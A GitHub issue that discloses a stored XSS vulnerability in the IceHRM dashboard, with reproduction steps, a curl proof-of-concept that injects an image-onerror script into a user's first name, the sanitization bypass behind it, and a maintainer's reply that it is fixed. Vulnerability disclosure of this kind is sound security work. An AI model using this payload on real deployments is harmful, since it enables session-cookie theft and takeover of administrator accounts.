Stored XSS vulnerability in dashboard of any logged-in user #285

Closed **cooliscool** opened this issue on Dec 23, 2021 · 1 comment

cooliscool commented on Dec 23, 2021 • edited

Important note :

This vulnerability was reported to the maintainers on **Nov 23rd, 2021**, and there has been no response yet. So, I infer it makes sense to publish it publicly here for the good sake of everyone who is using this software actively.

Description

An Authenticated user can set thier 'first name' to any unsanitized HTML or script.

IceHRM website fails to effectively filter html tags present in user input. This can cause malicious input sent by a logged in user to be stored on the database. This can lead to account takeover through cookie stealing of any other user who logs into the system, no other user interation is require.

Proof of Concept

PoC Video : http://moochi.tech/jhhds34334sdsjjjsdaa/icehrm.mp4

1. Login as any user into the dashboard.
2. Send the following payload, meant for updating the 'first name' of the logged in user. You'll have to replace the `PHPSESSID` , with the session ID of any valid logged in (less privileged) user .

```
curl 'http://127.0.0.1/icehrm/app/service.php' \
  -H 'Connection: keep-alive' \
  -H 'Pragma: no-cache' \
  -H 'Cache-Control: no-cache' \
```

```
  -H 'sec-ch-ua: "Google Chrome";v="93", " Not;A Brand";v="99", "Chromium";v="93"' \
  -H 'DNT: 1' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'User-Agent: Mozilla/5.0' \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  -H 'Accept: application/json, text/javascript, */*; q=0.01' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'sec-ch-ua-platform: "Linux"' \
  -H 'Origin: http://127.0.0.1' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Referer: http://127.0.0.1/icehrm/app/?g=modules&&n=employees&m=modules_Personal_Information'
\
  -H 'Accept-Language: en-US,en;q=0.9' \
  -H 'Cookie: PHPSESSID=p165r7jp664smtns7lh26tn6e8; tbl_session=lk93k2rif7jvprfqs05pqk41t65436nu'
\
  -H 'sec-gpc: 1' \
  --data-raw
'id=2&first_name=hello%3Cimg+src%3Dx+onerror%3Dalert(document.cookie)%3E&middle_name=&last_name=sd&na
12-
03&gender=Female&marital_status=Single&ssn_num=&nic_num=&other_id=&driving_license=&work_station_id=&
 \
  --compressed
```

#3. Login into the 'admin' account & Go to the following page where the name of the less privileged user gets displayed - 'System > Users' . You'll be able to see the alert box with session cookie of 'admin' user.

The extra added `content = HTML` request parameter causes the backend to ignore sanitization of user input.

Impact

A less privileged user can take over 'admin' account by stealing the session cookie.

Occurrences

https://github.com/gamonoid/icehrm/blob/master/core/include.common.php#L27
User input sanitization is not done if the 'content' parameter is set to 'HTML'

cooliscool changed the title ~~Stored XSS vulnerability in icehrm~~ **Stored XSS vulnerability in dashboard of any logged-in user** on Dec 24, 2021

ddave001 commented on Jan 14 Collaborator

@cooliscool thank you so much for reporting this. This issue is fixed with https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS

ddave001 closed this as completed on Jan 14

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants